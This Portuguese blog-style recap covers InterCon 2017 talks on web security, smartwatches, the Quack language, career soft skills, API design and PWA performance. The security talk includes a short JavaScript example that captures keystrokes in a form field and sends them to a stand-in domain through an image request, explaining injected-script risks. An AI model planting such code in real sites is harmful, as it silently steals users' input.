Semana passada aconteceu o InterCon 2017, um evento realizado pelo iMasters, que concentrou mais de 1.800 desenvolvedores de alto nível no Centro de Convenções do World Trade Center, em São Paulo.

Se você não pôde ir, não se preocupe, pois fizemos uma cobertura completa para você.

Engenharia de segurança web: proteja todas as camadas de seu projeto

Essa foi uma palestra feita por Rubens Guimarães, que é owner e engenheiro de software na eSeth Tecnologia e também possui um título Microsoft MVP em Azure. A palestra, que aconteceu na trilha Grace Hopper, foi sobre segurança na web, falando sobre vários erros comuns e perigosos que muitos desenvolvedores back-end cometem, como o desenvolvimento preguiçoso, no qual o desenvolvedor não trata exceções e erros, e abre portas para o SQL Injection.

Ele também lembra de que qualquer pessoa pode passar as barreiras de segurança do seu site pelo console do navegador, inserir scripts nos inputs de formulários, e deu como exemplo o caso de um banco que, por não tratar essas coisas, acabou permitindo que um usuário inserisse um scripts nos formulários, redirecionando e passando as informações de outros usuários para ele.

Ele também lembrou que a pessoa mal intencionada pode editar qualquer área do seu site com o console, como um input type hidden, por exemplo, ou caso consiga inserir um script no seu site, ele pode analisar o onkeypress dos usuários e enviar os dados de forma que ninguém perceba, por exemplo retornando um (new Image).src e passando os dados via parâmetro. Por exemplo:

document.getElementById(‘some-input’).onkeypress = function(e) {
	return (new Image).src = ‘http://some-domain.com/?v=’ + this.value;
};

Desse jeito, a request é feita e não é indicada pelo navegador.

Também é muito importante você filtrar os campos de upload, pois a pessoa mal intencionada pode por exemplo enviar um .js em um campo de imagem e executar esse JS em um campo de nome. O que é muito perigoso, por isso, você deve validar também caracteres incomuns, como um nome não pode ter parênteses ou aspas por exemplo.

Ele também deu a dica de que o desenvolvedor deve tomar cuidado com limites de memória, pois caso seja estourado, a pessoa mal intencionada pode executar código arbitrário.

Desenvolvimento para smartwatches

Em seguida tivemos na trilha Ada Lovelace a palestra de Ezequiel França dos Santos, que trabalha como iOS Developer, BTG Pactual Digital. Sua palestra teve como tema desenvolvimento para smartwatches “estado da arte, importância e futuro”.

Ele começou mostrando alguns relógio antigos que eram parecidos com os smartwatches de hoje em dia, tinha até um relógio engraçado com dock de teclado lançado 1985, mas que é meio como os de hoje em dia, que funciona integrado aos celulares, já em 1995 teve um relógio com infravermelho que conseguia guardar informações sobre corridas.

A ideia de desenvolver para smartwatches é que o seu produto se readeque para a tela dos relógios, e você tem que levar em consideração que você usará controles limitados, e sua feature deve requerer micro gestos. Leve em consideração, também, que as pessoas usam os smartwatches para ações rápidas e notificações, a maioria pelas notificações.

Também não coloque questionários que requerem textos, faça como os aplicativos de mensagens que possui micro ações automáticas.

Dicas de UX:

• Mantenha usável, não faça algo como um aplicativo de declaração do imposto de renda;
• Não crie um app para smartwatches só pra dizer que tem, crie apenas caso haja necessidade;
• Imagine os wearables como extensões, pois o relógio não é o gadget principal.

Após isso, ele deu alguns exemplos sobre o uso de smartwatches na área de saúde, como os sensores podem ajudar a descobrir coisas como se vai ter um derrame, período fértil, etc, e já existem planos de saúde que oferecem isso.

Quack

Outra palestra interessantes foi a do Marcelo Camargo, Analista de Projetos Especiais na NG Informática. Na trilha Dorothy Vaughan ele falou de Quack, que é uma nova linguagem de programação criada pelo próprio Marcelo buscando solucionar problemas das linguagens atuais.

Ele começou a palestra deixando claro que nulos são o maior problema das linguagens de programação modernas, e dizendo alguns problemas da sintaxe do JavaScript, pois ele não possuía tratamento de exceções inicialmente, e também que é trabalho da linguagem evitar erros de runtime.

Foi uma palestra muito engraçada, com alguns personagens como o pato Oswaldo, que muito nervoso com as linguagens de programação atuais, colocou um ovo chamado Quack.

A linguagem foi feita com base no PHP, é multi-paradigma e em uma internet muito boa, é possível baixar e instalar a linguagem em apenas 50 milissegundos e usar o terminal interativo, escrito na própria linguagem.

Uma das grandes diferenças do Quack é falar a linguagem do programador. Ela é uma linguagem que não “fala” apenas inglês, e caso ocorra algum erro, ela vai te chamar de meu amor e meu querido, e não te xingar igual outras linguagens, ela também vai tentar corrigir erros óbvios automaticamente, mas vai te xingar, caso o erro seja muito óbvio.

A linguagem também vai chamar sua atenção com um “hey, campeão”, e o compilador irá emitir um som de “quack” para que você não se sinta muito sozinho.

Outras características da linguagem são o conceito de var assim como no C#, assim você não precisa explicitar o tipo de todas as variáveis. O Quack também não emite exceções, compila para outras linguagens como JavaScript, PHP e Python, todas as features são escritas na própria linguagem e os operadores são funções.

Carreira Hipster

Paulo Silveira, CEO no Grupo Caelum, falou na trilha Grace Hopper sobre Carreira Hipster: desafios em soft skills. Ele disse que, como programador, você não é pago para escrever códigos, e sim para resolver problemas, entregar valor.

Que não vale a pena usar sempre a última linguagem ou tecnologia do momento, pois isso é justamente o que entrega menos valor, pois leva tempo para reescrever algo que já foi feito, a não ser que isso aumente a performance do projeto ou algo do tipo, pois isso entrega valor, mas se não for fazer diferença reescrever os projetos em alguma tecnologia da moda, não vai ser algo que entrega valor.

Como já diziam, a forma mais barata de escrever software é comprar um, pois você não precisará dar manutenção uma vez que você compra um serviço pronto.

Há casos que um MVP em Excel consegue resolver um problema do cliente, e não algo feito em 15 linguagens de programação.

Ele cita, por exemplo, os eventos do iMasters, cujo objetivo não é vender palestras, e sim estar em conjunto e se informar. Cita como exemplo os alunos, que procuram ter um aumento de salário com cursos, você precisa estudar como entregar valor, e diz que o curso mais feito do Coursera, plataforma de cursos online, é o Learning how to Learn, e em Stanford,  é o Designing your Life, nessas organizações, os cursos de programação são os segundos mais buscados.

Ele também disse que nós precisamos de um tempo para nos programarmos sobre o que iremos fazer na nossa vida, e quem está entregando valor não é o cara que quer reescrever algum projeto na última linguagem de programação, e sim quem mexe no código legado.

Ele também pontuou que embora o CTO provavelmente receba o dobro de um programador, ele não é pago para programar, e sim pelas suas soft skills, e cita 5 delas:

• Ser um olympian, uma pessoa esforçada, que treina bastante, mesmo que não seja a melhor. Que é dedicada e com foco.
• Ter o grit (perseverança ou resiliência, não resistência) e ter o mesmo objetivo até o fim.
• Ter acabativa e não ficar fazendo várias coisas ao mesmo tempo. Terminar sua tarefa – o importante é ter uma ideia e terminar, mesmo tendo mil ideias para a empresa.
• Ter ação e não trazer impeditivos para o chefe, pois ele entregou confiança a você, independente de ser 2 da manhã de sábado para domingo.
• Ter decisão, ou cook, tentar conversar com parceiros, respeitar o tempo dos colegas, para tomar decisão do que usar. Às vezes, a decisão errada é melhor que nenhuma decisão.

Design Coerente

Já Ravan Scafi, Senior Web Developer na Leroy Merlin Brasil, palestrou sobre Design Coerente: decisões de tecnologia para APIs, na trilha Ada Lovelace.

Ele falou que uma API é simplesmente uma ponte entre dois sistemas, e você tem que pensar que é uma coisa feita para os outros, por isso deve se preocupar muito mais com o design da mesma.

Quando se pensa em API, normalmente, se pensa logo no REST, que é baseado em endpoints e separa os endpoints por recursos, como “users” para um usuário, e se usa verbos HTTP para manipular. O REST segue as convenções do HTTP.

Uma das grandes vantagens do REST é ser “cacheável”, ou seja, você pode deixar salvo os 20 melhores usuários do sistemas por exemplo, e atualizar após 24 horas, assim salvando processamento. Um dos grandes problemas é que nem sempre todas as recomendações são seguidas, como o HATEOAS, que passa links para outras ações direto no response, excesso de roundtips, dependendo da operação, e que nem sempre os verbos HTTP são muito claros, como por exemplo utilizar DELETE para “kickar” um usuários de um chat.

Além do REST, temos o SOAP, que perdeu espaço para o REST por ser baseado em XML, e também o RPC, que é focado em operações, cujo os problemas são que ele abstrai complexidade e pode complicar mais.

O Google faz 10 bilhões de chamadas RPC por segundo, e deixou uma biblioteca open source para isso, o gRPC.

Também temos o BFF, Backends for Frontends, criado pelo SoundCloud e que permite que o cliente decida o que precisa receber. No Brasil, é utilizado por muitas empresas, como o PagSeguro. Os seus problemas são códigos duplicados e fragmentados.

Os problemas do REST são:

• Overfetching
• Não possui especificação formal
• É difícil evoluir os dados sem usável o que os clientes de fato usam
• Quanto mais complexa fica, menos eficaz é o cache.

E finalmente temos o GraphQL, criado pelo Facebook, que é basicamente queries + mutations + documentação, tudo junto, em uma única rota, todos os dados da API são descritivos e o retorno é exatamente o que foi requisitado, sua especificação é completa e documentos.

Os problemas do GraphQL são:

• Técnicas de cache são difíceis
• Implementação pode ser complexa
• Upload de arquivo é “hacky”
• Sem suporte a HyperMedia

Levando a performance de sua Web App a sério

A próxima palestra foi por William Grasel, Software Engineer e Community Leader na Jexia, palestrando sobre Levando a Performance de sua Web App a Sério, na trilha Graace Hopper.

Ele começou a palestra dizendo que os usuários mobile gastam 87% do tempo em aplicações nativas, porém 80% desse tempo é investido em três apps principais.

E fez a pergunta: quantos apps você baixa por mês? E quantos sites você acessa por dia?

Hoje em dia, os Instant Apps, aplicativo que você pode utilizar sem precisar instalar, estão começando a chamar atenção, porém eles podem ter tamanho máximo de 4MB, em uma feature. E uma webapp, se tiver conteúdo interessante, pode ser achada ao acaso, que se for bem otimizado, pode ser acessado pelo 3G a um clique de distância, e pode ter atualização automática, sem precisar passar pela loja de aplicativos.

Webapps já podem ser instalados, o Google e a Microsoft já anunciaram que irão colocar automaticamente nas suas apps stores a maioria dos sites que tiver um webapp manifest configurado, lado a lado com os aplicativos comuns.

Outra vantagem dos webapps é que em conexões lentas, um usuário não vai pensar em baixar em baixar um aplicativo nativo.

Ele também disse que embora um framework possa custar mais ou menos 40kb, eles valem muito a pena, pois são fruto da mente de muitas pessoas de empresas e comunidades, e também da dicas como:

• Minificação, pois pode diminuir em até 70% o tamanho dos arquivos
• Habilitar modo de produção disponível em alguns frameworks, pois assim muitas ferramentas de debug não estarão no seu bundle final
• Usar ES6 modules para ter um bundle menor
• Utilizar o AOT Compilation
• Habilitar o GZip, para diminuir o tamanho dos arquivos
• Lazy Loading, para carregar rotas apenas no momento certo
• Faça Server Side Rendering: você vai dar uma primeira tela para o usuário muito mais rápido, e vai ter melhor indexação, melhorando o SEO
• Utilizar o HTTP/2, no SPA é muito bom o multiplexing, pois pode fazer download ao mesmo tempo de um número de arquivos acima do limite
• Cuidar de execução e caching
• Usar web workers para não travar a main thread
• Gerenciar cache estático e dinâmico com service workers, e também exibir telas personalizadas de offline
• Fazer testes de rede no DevTools ou webpagetest
• Sonar, ferramenta da Microsoft que procura erros nos seus projetos
• Lighthouse, ferramenta do Google de análise de PWA
• pwmetrics, baseado no Lighthouse, pode ser usado por linha de comando

Muito além do WebApp manifest

Uma das últimas palestras do dia foi por Eduardo Matos, Tech Lead na GetNinjas, na Ada Lovelace, falando sobre segredos não ditos de PWA – muito além do Web App Manifest.

Nessa palestra, ele da várias dicas sobre como melhorar ainda mais seu PWA, como por exemplo:

• Habilitar GZip no servidor
• Comprima imagens, pois não é muito perceptível uma imagem com um pouco de qualidade a menos e seu site carrega mais rapidamente, e isso é algo que pode ser feito automaticamente por um task runner como o Gulp
• Utilizar o Time to First Binding, assim pode demorar um pouco mais apenas para o primeiro usuário que acessa, o resto recebe as informações cacheadas
• Usar o pouchdb para sincronia de dados, pois ele vai usar o que for possível para armazenar dados, como o IndexedDB, se o navegador tiver suporte; e o LocalStorage, caso não tenha
• Utilizar CDNs, por causa de pontos de acesso por região, assim o usuário recebe as informações mais rapidamente
• HTTP/2 permite que TCP connection seja somente uma, paralelismo de request, quase 88% no tamanho do request
• Usar o touch passive para melhorar o scroll, assim o navegador gasta menos processamento tentando decidir se o usuário está fazendo um movimento de scroll ou pinça para zoom
• Use o async e o defer nas tags de scripts, pois o JavaScript é blocante. Dessa forma, ele carrega informações apenas após o carregamento da página.
• Use o service worker, pois ele pode interceptar requests.

Ele também dá dicas valiosas como utilizar o preload, assim o faz download do asset, independente do navegador achar necessário ou não:

<link rel="preload" href="style.css" as="style">
<link rel="preload" href="main.js" as="script">

O “as” suporta audio, document, embed, fetch, font, image, object, script, style, track, worker e vídeo.

Utilize o dns-prefetch, assim o navegador já entende que algo vai vir de outro domínio. O Twitter, por exemplo, faz uso disso:

<link ref="dns-prefetch" href="//abs-0.twimg.com">

Ou o preconnect, para o navegador já se conectar ao outro domínio:

<link ref="preconnect" href="//abs-0.twimg.com">

Ele também indica usar o menor número de fontes possíveis, pois elas são blocantes e não é recomendado utilizar mais de duas famílias de fontes num mesmo webapp, e utilizar apenas imagens de tamanhos exatos, pois o navegador precisa baixar muitos bytes desnecessários caso você coloque outro tamanho no CSS.

E assim foi um pouquinho do InterCon 2017. Esperamos vocês em 2018!